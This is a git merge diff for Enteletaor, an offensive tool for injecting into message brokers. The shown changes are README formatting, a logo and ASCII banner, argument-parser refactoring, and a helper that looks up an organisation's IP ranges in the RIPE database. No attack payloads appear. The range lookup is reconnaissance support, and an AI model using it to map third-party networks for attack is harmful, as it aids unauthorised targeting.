Merge branch 'develop'
1362
.idea/workspace.xml
generated
@@ -2,19 +2,19 @@ Enteletaor
|
||||
==========
|
||||
|
||||
|
||||

|
||||
.. figure:: doc/images/enteletaor-logo-300px.png
|
||||
:align: left
|
||||
|
||||
*Enteletaor: Message Queue & Broker Injection tool*
|
||||
|
||||
Code | #URL#
|
||||
---- | ----------------------------------------------
|
||||
Issues | #URL#/issues/
|
||||
Python version | Python
|
||||
:Code: https://github.com/cr0hn/enteletaor
|
||||
:Issues: https://github.com/cr0hn/enteletaor/issues/
|
||||
:Python version: Python 2 & Python 3
|
||||
|
||||
What's Enteletaor
|
||||
-----------------
|
||||
|
||||
Message Queue & Broker Injection tool that implements attacks to Redis, RabbitMQ and ZeroMQ
|
||||
Message Queue & Broker Injection tool that implements attacks to Redis, RabbitMQ and ZeroMQ.
|
||||
|
||||
What's new?
|
||||
-----------
|
||||
@@ -33,19 +33,18 @@ Installation
|
||||
|
||||
Install Enteletaor is so easy:
|
||||
|
||||
```
|
||||
$ python -m pip install Enteletaor
|
||||
```
|
||||
.. code-block:: bash
|
||||
|
||||
$ python -m pip install enteletaor
|
||||
|
||||
Quick start
|
||||
-----------
|
||||
|
||||
You can display inline help writing:
|
||||
|
||||
```bash
|
||||
.. code-block:: bash
|
||||
|
||||
python Enteletaor.py -h
|
||||
```
|
||||
enteletaor -h
|
||||
|
||||
Advanced options
|
||||
----------------
|
||||
1
doc/__init__.py
Normal file
@@ -0,0 +1 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
BIN
doc/images/enteletaor-logo-2400px.png
Normal file
|
After Width: | Height: | Size: 2.3 MiB |
BIN
doc/images/enteletaor-logo-300px.png
Normal file
|
After Width: | Height: | Size: 75 KiB |
604
doc/images/enteletaor-logo.svg
Normal file
@@ -0,0 +1,604 @@
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
|
||||
<!-- Created with Inkscape (http://www.inkscape.org/) -->
|
||||
<svg
|
||||
xmlns:inkscape="http://www.inkscape.org/namespaces/inkscape"
|
||||
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
xmlns:sodipodi="http://sodipodi.sourceforge.net/DTD/sodipodi-0.dtd"
|
||||
xmlns:cc="http://creativecommons.org/ns#"
|
||||
xmlns:xlink="http://www.w3.org/1999/xlink"
|
||||
xmlns:dc="http://purl.org/dc/elements/1.1/"
|
||||
xmlns:svg="http://www.w3.org/2000/svg"
|
||||
xmlns:ns1="http://sozi.baierouge.fr"
|
||||
id="svg8754"
|
||||
sodipodi:docname="Andy_whirlpool_ok.svg"
|
||||
viewBox="0 0 323.94 323.94"
|
||||
sodipodi:version="0.32"
|
||||
version="1.0"
|
||||
inkscape:output_extension="org.inkscape.output.svg.inkscape"
|
||||
inkscape:version="0.46"
|
||||
>
|
||||
<sodipodi:namedview
|
||||
id="base"
|
||||
bordercolor="#666666"
|
||||
inkscape:pageshadow="2"
|
||||
guidetolerance="10.0"
|
||||
pagecolor="#ffffff"
|
||||
gridtolerance="10.0"
|
||||
inkscape:zoom="1.2803658"
|
||||
objecttolerance="10.0"
|
||||
borderlayer="true"
|
||||
borderopacity="1.0"
|
||||
inkscape:current-layer="svg8754"
|
||||
inkscape:cx="225.32077"
|
||||
inkscape:cy="210.48672"
|
||||
inkscape:window-y="-4"
|
||||
inkscape:window-x="-4"
|
||||
inkscape:window-height="744"
|
||||
showgrid="false"
|
||||
inkscape:pageopacity="0.0"
|
||||
inkscape:window-width="1280"
|
||||
/>
|
||||
<defs
|
||||
id="defs8756"
|
||||
>
|
||||
<filter
|
||||
id="filter3666"
|
||||
>
|
||||
<feBlend
|
||||
id="feBlend3668"
|
||||
in2="BackgroundImage"
|
||||
mode="multiply"
|
||||
inkscape:collect="always"
|
||||
/>
|
||||
</filter
|
||||
>
|
||||
<radialGradient
|
||||
id="radialGradient2439"
|
||||
fx="2569.7"
|
||||
fy="310.06"
|
||||
gradientUnits="userSpaceOnUse"
|
||||
cy="267.44"
|
||||
cx="2564.4"
|
||||
gradientTransform="matrix(-.80125 -5.1266e-8 -1.499e-8 -1.0983 2184.9 565.59)"
|
||||
r="131.46"
|
||||
inkscape:collect="always"
|
||||
>
|
||||
<stop
|
||||
id="stop3821"
|
||||
style="stop-color:rgb(13, 153, 255)"
|
||||
offset="0"
|
||||
/>
|
||||
<stop
|
||||
id="stop3823"
|
||||
style="stop-color:rgb(0, 121, 193)"
|
||||
offset=".26614"
|
||||
/>
|
||||
<stop
|
||||
id="stop3825"
|
||||
style="stop-color:rgb(255, 255, 255);stop-opacity:0"
|
||||
offset="1"
|
||||
/>
|
||||
</radialGradient
|
||||
>
|
||||
<linearGradient
|
||||
id="linearGradient2441"
|
||||
y2="79.75"
|
||||
gradientUnits="userSpaceOnUse"
|
||||
x2="271.14"
|
||||
gradientTransform="matrix(.99976 -.13062 .13062 .99976 -24.722 27.509)"
|
||||
y1="33.837"
|
||||
x1="224.98"
|
||||
inkscape:collect="always"
|
||||
>
|
||||
<stop
|
||||
id="stop3217"
|
||||
style="stop-color:rgb(255, 255, 255)"
|
||||
offset="0"
|
||||
/>
|
||||
<stop
|
||||
id="stop3219"
|
||||
style="stop-color:rgb(255, 255, 255);stop-opacity:0"
|
||||
offset="1"
|
||||
/>
|
||||
</linearGradient
|
||||
>
|
||||
</defs
|
||||
>
|
||||
<g
|
||||
id="g3949"
|
||||
transform="matrix(.36142 .22230 -.22230 .36142 -83.358 91.087)"
|
||||
>
|
||||
<use
|
||||
id="use3951"
|
||||
xlink:href="#swirl"
|
||||
transform="matrix(1.1492 0 0 1.1492 -86.539 21.668)"
|
||||
height="313.37378"
|
||||
width="405.05228"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
</g
|
||||
>
|
||||
<rect
|
||||
id="rect3612"
|
||||
style="fill:#ffffff"
|
||||
height="368.4"
|
||||
width="450.64"
|
||||
y="-22.233"
|
||||
x="-63.349"
|
||||
/>
|
||||
<g
|
||||
id="layer1"
|
||||
transform="translate(-418.03 320.59)"
|
||||
>
|
||||
<g
|
||||
id="swirl"
|
||||
transform="matrix(0 -1.5963 1.5963 0 -27.975 31.335)"
|
||||
>
|
||||
<path
|
||||
id="path2596"
|
||||
style="fill:url(#radialGradient2439)"
|
||||
d="m151.07 398.57c15.14-113.33-99.264-80.47-150.57 1.21 26.697-194.64 227.09-70.65 150.57-1.21z"
|
||||
/>
|
||||
<use
|
||||
id="use2602"
|
||||
xlink:href="#path2596"
|
||||
transform="matrix(.70711 .70711 -.70711 .70711 304.16 27.406)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2604"
|
||||
xlink:href="#path2596"
|
||||
transform="matrix(0 1 -1 0 499.86 261.86)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2606"
|
||||
xlink:href="#path2596"
|
||||
transform="matrix(-.70711 .70711 -.70711 -.70711 472.46 566.03)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2608"
|
||||
xlink:href="#path2596"
|
||||
transform="matrix(-1 0 0 -1 238 761.72)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2610"
|
||||
xlink:href="#path2596"
|
||||
transform="matrix(-.70711 -.70711 .70711 -.70711 -66.164 734.32)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2612"
|
||||
xlink:href="#path2596"
|
||||
transform="matrix(0 -1 1 0 -261.86 499.86)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2614"
|
||||
xlink:href="#path2596"
|
||||
transform="matrix(.70711 -.70711 .70711 .70711 -234.46 195.7)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
</g
|
||||
>
|
||||
</g
|
||||
>
|
||||
<g
|
||||
id="layer2"
|
||||
style="filter:url(#filter3666)"
|
||||
transform="matrix(.19145 -.71450 .71450 .19145 165.7 607.13)"
|
||||
>
|
||||
<use
|
||||
id="use3663"
|
||||
xlink:href="#swirl"
|
||||
transform="matrix(1.1492 0 0 1.1492 -86.539 21.668)"
|
||||
height="313.37378"
|
||||
width="405.05228"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
</g
|
||||
>
|
||||
<g
|
||||
id="g3410"
|
||||
style="filter:url(#filter3666)"
|
||||
transform="matrix(.42221 .25969 -.25969 .42221 -124.62 79.164)"
|
||||
>
|
||||
<use
|
||||
id="use3412"
|
||||
xlink:href="#swirl"
|
||||
transform="matrix(1.1492 0 0 1.1492 -86.539 21.668)"
|
||||
height="313.37378"
|
||||
width="405.05228"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
</g
|
||||
>
|
||||
<g
|
||||
id="g2567"
|
||||
style="filter:url(#filter3666)"
|
||||
transform="matrix(.24377 .37848 -.37848 .24377 -40.208 -18.396)"
|
||||
>
|
||||
<use
|
||||
id="use2569"
|
||||
xlink:href="#swirl"
|
||||
transform="matrix(1.1492 0 0 1.1492 -86.539 21.668)"
|
||||
height="313.37378"
|
||||
width="405.05228"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
</g
|
||||
>
|
||||
<g
|
||||
id="g2629"
|
||||
transform="matrix(1.0935 0 0 1.0935 -73.134 -37.491)"
|
||||
>
|
||||
<path
|
||||
id="path2579"
|
||||
style="opacity:0.99;fill:url(#linearGradient2441)"
|
||||
d="m256.77 78.226c-20.33-36.026-103.82-77.686-138.74-59.047l-46.797 34.772c89.917-46.327 166.49-2.196 185.54 24.275z"
|
||||
/>
|
||||
<use
|
||||
id="use2583"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(.96593 .25882 -.25882 .96593 54.535 -49.431)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2587"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(.86602 .5 -.5 .86602 120 -83.063)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2589"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(.70711 .70711 -.70711 .70711 191.95 -98.604)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2591"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(.5 .86602 -.86602 .5 265.46 -94.995)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2593"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(.25882 .96593 -.96593 .25882 335.54 -72.481)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2595"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(3.6762e-8 1 -1 3.6762e-8 397.4 -32.598)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2597"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-.25882 .96593 -.96593 -.25882 446.83 21.937)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2599"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-.5 .86602 -.86602 -.5 480.46 87.407)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2601"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-.70711 .70711 -.70711 -.70711 496 159.35)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2603"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-.86602 .5 -.5 -.86602 492.4 232.87)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2605"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-.96593 .25882 -.25882 -.96593 469.88 302.94)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2607"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-1 3.6762e-8 -3.6762e-8 -1 430 364.8)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2609"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-.96593 -.25882 .25882 -.96593 375.46 414.23)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2611"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-.86602 -.5 .5 -.86602 310 447.87)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2613"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-.70711 -.70711 .70711 -.70711 238.05 463.41)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2615"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-.5 -.86602 .86602 -.5 164.54 459.8)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2617"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-.25882 -.96593 .96593 -.25882 94.46 437.28)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2619"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(-3.6762e-8 -1 1 -3.6762e-8 32.598 397.4)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2621"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(.25882 -.96593 .96593 .25882 -16.833 342.87)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2623"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(.5 -.86602 .86602 .5 -50.465 277.4)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2625"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(.70711 -.70711 .70711 .70711 -66.006 205.45)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2627"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(.86602 -.5 .5 .86602 -62.396 131.94)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
<use
|
||||
id="use2585"
|
||||
xlink:href="#path2579"
|
||||
transform="matrix(.96593 -.25882 .25882 .96593 -39.883 61.861)"
|
||||
height="368.40176"
|
||||
width="396.78284"
|
||||
y="0"
|
||||
x="0"
|
||||
/>
|
||||
</g
|
||||
>
|
||||
<metadata
|
||||
>
|
||||
<rdf:RDF
|
||||
>
|
||||
<cc:Work
|
||||
>
|
||||
<dc:format
|
||||
>image/svg+xml</dc:format
|
||||
>
|
||||
<dc:type
|
||||
rdf:resource="http://purl.org/dc/dcmitype/StillImage"
|
||||
/>
|
||||
<cc:license
|
||||
rdf:resource="http://creativecommons.org/licenses/publicdomain/"
|
||||
/>
|
||||
<dc:publisher
|
||||
>
|
||||
<cc:Agent
|
||||
rdf:about="http://openclipart.org/"
|
||||
>
|
||||
<dc:title
|
||||
>Openclipart</dc:title
|
||||
>
|
||||
</cc:Agent
|
||||
>
|
||||
</dc:publisher
|
||||
>
|
||||
<dc:title
|
||||
>whirlpool</dc:title
|
||||
>
|
||||
<dc:date
|
||||
>2008-04-04T02:29:19</dc:date
|
||||
>
|
||||
<dc:description
|
||||
>blue warping whirlpool (requires SVG filters)</dc:description
|
||||
>
|
||||
<dc:source
|
||||
>https://openclipart.org/detail/16148/whirlpool-by-andy</dc:source
|
||||
>
|
||||
<dc:creator
|
||||
>
|
||||
<cc:Agent
|
||||
>
|
||||
<dc:title
|
||||
>Andy</dc:title
|
||||
>
|
||||
</cc:Agent
|
||||
>
|
||||
</dc:creator
|
||||
>
|
||||
<dc:subject
|
||||
>
|
||||
<rdf:Bag
|
||||
>
|
||||
<rdf:li
|
||||
>blue</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>colour</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>deep</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>focus</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>iris</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>l whirl</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>momentum</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>nature</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>paint</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>pool</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>portal</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>swir</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>swirlpool</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>torrent</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>water</rdf:li
|
||||
>
|
||||
<rdf:li
|
||||
>whirlpool</rdf:li
|
||||
>
|
||||
</rdf:Bag
|
||||
>
|
||||
</dc:subject
|
||||
>
|
||||
</cc:Work
|
||||
>
|
||||
<cc:License
|
||||
rdf:about="http://creativecommons.org/licenses/publicdomain/"
|
||||
>
|
||||
<cc:permits
|
||||
rdf:resource="http://creativecommons.org/ns#Reproduction"
|
||||
/>
|
||||
<cc:permits
|
||||
rdf:resource="http://creativecommons.org/ns#Distribution"
|
||||
/>
|
||||
<cc:permits
|
||||
rdf:resource="http://creativecommons.org/ns#DerivativeWorks"
|
||||
/>
|
||||
</cc:License
|
||||
>
|
||||
</rdf:RDF
|
||||
>
|
||||
</metadata
|
||||
>
|
||||
</svg
|
||||
>
|
||||
|
After Width: | Height: | Size: 14 KiB |
@@ -29,9 +29,9 @@ def run_console(config):
|
||||
if not isinstance(config, GlobalExecutionParameters):
|
||||
raise TypeError("Expected GlobalParameters, got '%s' instead" % type(config))
|
||||
|
||||
logging.warning("Starting Enteletaor execution")
|
||||
logging.error("Starting Enteletaor execution")
|
||||
run(config)
|
||||
logging.warning("Done!")
|
||||
logging.error("Done!")
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
|
||||
@@ -1,9 +1,39 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
__name__ = "enteletaor"
|
||||
__tool_name__ = "enteletaor"
|
||||
__author__ = "Daniel Garcia (cr0hn) - @ggdaniel"
|
||||
__site__ = "https://github.com/cr0hn/enteletaor"
|
||||
__version__ = "1.0.0"
|
||||
__banner__ = """
|
||||
``
|
||||
`````..``
|
||||
``..-:::::--.```...----`
|
||||
````...---:://////:--.--::::.
|
||||
````...--::://///////::::://-``` ``
|
||||
`.--:////////////////////////-``````
|
||||
.-///////////:::/:://///:///////-.....
|
||||
`.::///////////:////////:///://+///:...--.
|
||||
`--:::::///:::////////////////://////------
|
||||
`.-----:///:://////:--..--://///://///::::::
|
||||
`.....-:////////+/:-.` ``-:///:/::///////-
|
||||
``````-//////::++/:.` `.://///:///////`
|
||||
```-/+/////:+++/-.` `.-////://+//+/-```
|
||||
`//////::/+///:.` `.:///::/+////-``````
|
||||
-///////:://///:-`` `.-://////////:-.....`
|
||||
:::::://///://///:------://////::///:-----.`
|
||||
------//////:////////////////:::///:::::--`
|
||||
.--.../+//+//:///:////////:///////////::.`
|
||||
..`..-/+/////:////::://///++++++++//-.
|
||||
``````:++////////////////++++//:--.`
|
||||
`` ```:///:::://///////:::--...````
|
||||
./:::--.--://////::---...````
|
||||
`----...```.--::::--..``
|
||||
``..`````
|
||||
``
|
||||
____ _ _ ___ ____ _ ____ ___ ____ ____ ____
|
||||
|___ |\ | | |___ | |___ | |__| | | |__/
|
||||
|___ | \| | |___ |___ |___ | | | |__| | \\
|
||||
"""
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Generic global config
|
||||
|
||||
@@ -4,7 +4,7 @@ import logging
|
||||
|
||||
__tool__ = "enteletaor"
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
log = logging.getLogger()
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
|
||||
@@ -1,61 +0,0 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import json
|
||||
import os.path
|
||||
|
||||
from time import sleep
|
||||
from threading import Thread
|
||||
|
||||
from flask import Flask
|
||||
from flask_socketio import SocketIO
|
||||
|
||||
BASE_RESOURCES = os.path.abspath(os.path.join(os.path.dirname(__file__), "resources", "web"))
|
||||
|
||||
app = Flask(__name__,
|
||||
static_folder=os.path.join(BASE_RESOURCES, "static"),
|
||||
template_folder=BASE_RESOURCES)
|
||||
|
||||
socketio = SocketIO(app)
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# End points
|
||||
# --------------------------------------------------------------------------
|
||||
@app.route("/")
|
||||
def home():
|
||||
return open(os.path.join(BASE_RESOURCES, "home.html")).read()
|
||||
|
||||
|
||||
@app.route("/convert", methods=["GET", "POST"])
|
||||
def convert():
|
||||
Thread(target=handle_my_custom_event).start()
|
||||
|
||||
# Recive files
|
||||
return json.dumps(dict(result="oks!"))
|
||||
|
||||
|
||||
@app.route("/wait", methods=["GET"])
|
||||
def wait():
|
||||
return open(os.path.join(BASE_RESOURCES, "wait.html")).read()
|
||||
|
||||
|
||||
# --------------------------------------------------------------------------
|
||||
# Actions sent to users
|
||||
# --------------------------------------------------------------------------
|
||||
def handle_my_custom_event():
|
||||
|
||||
socketio.emit('finish')
|
||||
|
||||
if __name__ == '__main__' and __package__ is None:
|
||||
# --------------------------------------------------------------------------
|
||||
# INTERNAL USE: DO NOT MODIFY THIS SECTION!!!!!
|
||||
# --------------------------------------------------------------------------
|
||||
import sys, os
|
||||
sys.path.insert(1, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
|
||||
__import__("enteletaor_lib")
|
||||
__package__ = str("enteletaor_lib")
|
||||
# --------------------------------------------------------------------------
|
||||
# END INTERNAL USE
|
||||
# --------------------------------------------------------------------------
|
||||
|
||||
socketio.run(app)
|
||||
1
enteletaor_lib/libs/contrib/__init__.py
Normal file
@@ -0,0 +1 @@
|
||||
# -*- coding: utf-8 -*-
|
||||
63
enteletaor_lib/libs/contrib/inetnum.py
Normal file
@@ -0,0 +1,63 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
#
|
||||
# Fork of:
|
||||
#
|
||||
# https://github.com/UndergroundLabs/ripe-inetnum-search
|
||||
#
|
||||
|
||||
import six
|
||||
import json
|
||||
import netaddr
|
||||
import requests
|
||||
import logging
|
||||
|
||||
|
||||
# ----------------------------------------------------------------------
|
||||
def get_inet_num(search_term):
|
||||
"""
|
||||
Get intetnums for a domain
|
||||
|
||||
:param search_term: keywork without dots, no domains are allowed. domain.com -> invalid |---| domain -> valid
|
||||
:type search_term: str
|
||||
|
||||
:return: iterable with IP/CIDR notation or None
|
||||
:rtype: list(str) | None
|
||||
|
||||
"""
|
||||
# Disable request logging
|
||||
requests_log = logging.getLogger("requests")
|
||||
requests_log.addHandler(logging.NullHandler())
|
||||
requests_log.propagate = False
|
||||
|
||||
# Search the RIPE database
|
||||
# There is an issue with RIPE. When making a request and including
|
||||
# the type-filter inetnum, the JSON response also includes other types.
|
||||
request = requests.get('http://rest.db.ripe.net/search.json', params={
|
||||
'query-string': search_term,
|
||||
'type-filter': 'inetnum'
|
||||
})
|
||||
|
||||
json_results = json.loads(request.text)
|
||||
|
||||
try:
|
||||
# Filter any object that doesn't have the type 'inetnum'
|
||||
ranges = [x['primary-key']['attribute'][0]['value']
|
||||
for x in json_results['objects']['object']
|
||||
if x['type'] == 'inetnum']
|
||||
except KeyError:
|
||||
return None
|
||||
|
||||
# Turn the IP range string into CIDR
|
||||
cidrs = []
|
||||
for _range in ranges:
|
||||
_range = _range.split(' - ');
|
||||
cidrs.append(netaddr.iprange_to_cidrs(_range[0], _range[1]))
|
||||
|
||||
results = set()
|
||||
|
||||
# Print the CIDR's
|
||||
for cidr in cidrs:
|
||||
results.add(str(cidr[0]))
|
||||
|
||||
return results
|
||||
@@ -6,6 +6,7 @@ import argparse as _argparse
|
||||
|
||||
from .structs import AppSettings
|
||||
from ...modules import IModule
|
||||
from ...config import __banner__
|
||||
from ...data import GlobalExecutionParameters
|
||||
|
||||
log = logging.getLogger()
|
||||
@@ -80,7 +81,7 @@ def build_arg_parser(config=None, modules=None, parser=None):
|
||||
# Build command line
|
||||
# --------------------------------------------------------------------------
|
||||
if parser is None:
|
||||
parser = STBArgumentParser(description='%s' % str(AppSettings.tool_name).capitalize(),
|
||||
parser = STBArgumentParser(description='%s' % __banner__,
|
||||
epilog=_build_examples(modules),
|
||||
formatter_class=_argparse.RawTextHelpFormatter)
|
||||
_extract_parameters(config, parser)
|
||||
@@ -96,26 +97,39 @@ def build_arg_parser(config=None, modules=None, parser=None):
|
||||
mod_parser = main_subparser.add_parser(mod_class.name,
|
||||
help=mod_class.description)
|
||||
|
||||
sub_modules_enabled = False
|
||||
|
||||
# If module has raw argsubparser, add it
|
||||
if hasattr(mod_class, "__submodules__"):
|
||||
|
||||
sub_module_actions = mod_parser.add_subparsers(help="%s commands:" % mod_name, dest="module_%s" % mod_name)
|
||||
sub_module_actions.required = True
|
||||
if len([x for x in mod_class.__submodules__ if x != "default"]) > 0:
|
||||
|
||||
for x, y in six.iteritems(mod_class.__submodules__):
|
||||
sub_help = y['help']
|
||||
sub_action = y.get('cmd_args', None)
|
||||
# New sub-module added
|
||||
sub_modules_enabled = True
|
||||
|
||||
sub_sub_parser = sub_module_actions.add_parser(x, help=sub_help)
|
||||
sub_module_actions = mod_parser.add_subparsers(help="%s commands:" % mod_name, dest="module_%s" % mod_name)
|
||||
sub_module_actions.required = True
|
||||
|
||||
# Add module parameters
|
||||
if hasattr(mod_class, "__model__"):
|
||||
_extract_parameters(mod_class.__model__(), sub_sub_parser, mod_name)
|
||||
for x, y in six.iteritems(mod_class.__submodules__):
|
||||
|
||||
if sub_action is not None:
|
||||
# Add sub parser
|
||||
sub_action(sub_sub_parser)
|
||||
else:
|
||||
# Skip default action info
|
||||
if x == "default":
|
||||
continue
|
||||
|
||||
sub_help = y['help']
|
||||
sub_action = y.get('cmd_args', None)
|
||||
|
||||
sub_sub_parser = sub_module_actions.add_parser(x, help=sub_help)
|
||||
|
||||
# Add module parameters
|
||||
if hasattr(mod_class, "__model__"):
|
||||
_extract_parameters(mod_class.__model__(), sub_sub_parser, mod_name)
|
||||
|
||||
if sub_action is not None:
|
||||
# Add sub parser
|
||||
sub_action(sub_sub_parser)
|
||||
|
||||
if sub_modules_enabled is False:
|
||||
# Add module parameters
|
||||
if hasattr(mod_class, "__model__"):
|
||||
_extract_parameters(mod_class.__model__(), mod_parser, mod_name)
|
||||
@@ -210,7 +224,7 @@ def _resolve_action(field):
|
||||
'StringField': ("store", str),
|
||||
'SelectField': ("store", str),
|
||||
'IntegerField': ("store", int),
|
||||
'BoolField': ("store_true", bool),
|
||||
'BoolField': ("store_true", None),
|
||||
'IncrementalIntegerField': ("count", None)
|
||||
}
|
||||
|
||||
@@ -218,8 +232,5 @@ def _resolve_action(field):
|
||||
|
||||
results = type_maps[in_type]
|
||||
|
||||
if in_type == "BoolField":
|
||||
results[0] = "store_%s" % str(field.default).lower()
|
||||
|
||||
return results
|
||||
|
||||
|
||||
@@ -22,13 +22,13 @@ def load_config():
|
||||
"""
|
||||
|
||||
try:
|
||||
from config import __author__, __name__, __site__, __version__
|
||||
from config import __author__, __tool_name__, __site__, __version__
|
||||
except ImportError:
|
||||
__author__ = __name__ = __site__ = __version__ = "unknown"
|
||||
|
||||
from .structs import AppSettings
|
||||
|
||||
AppSettings.author = __author__
|
||||
AppSettings.tool_name = __name__
|
||||
AppSettings.tool_name = __tool_name__
|
||||
AppSettings.project_site = __site__
|
||||
AppSettings.version = __version__
|
||||
|
||||
@@ -11,17 +11,17 @@ def setup_logging():
|
||||
"""
|
||||
Setup initial logging configuration
|
||||
"""
|
||||
from ...config import __name__, DEBUG_LEVEL
|
||||
from ...config import __tool_name__, DEBUG_LEVEL
|
||||
|
||||
# Init logger
|
||||
logger = logging.getLogger('')
|
||||
logger = logging.getLogger()
|
||||
|
||||
# Set log level
|
||||
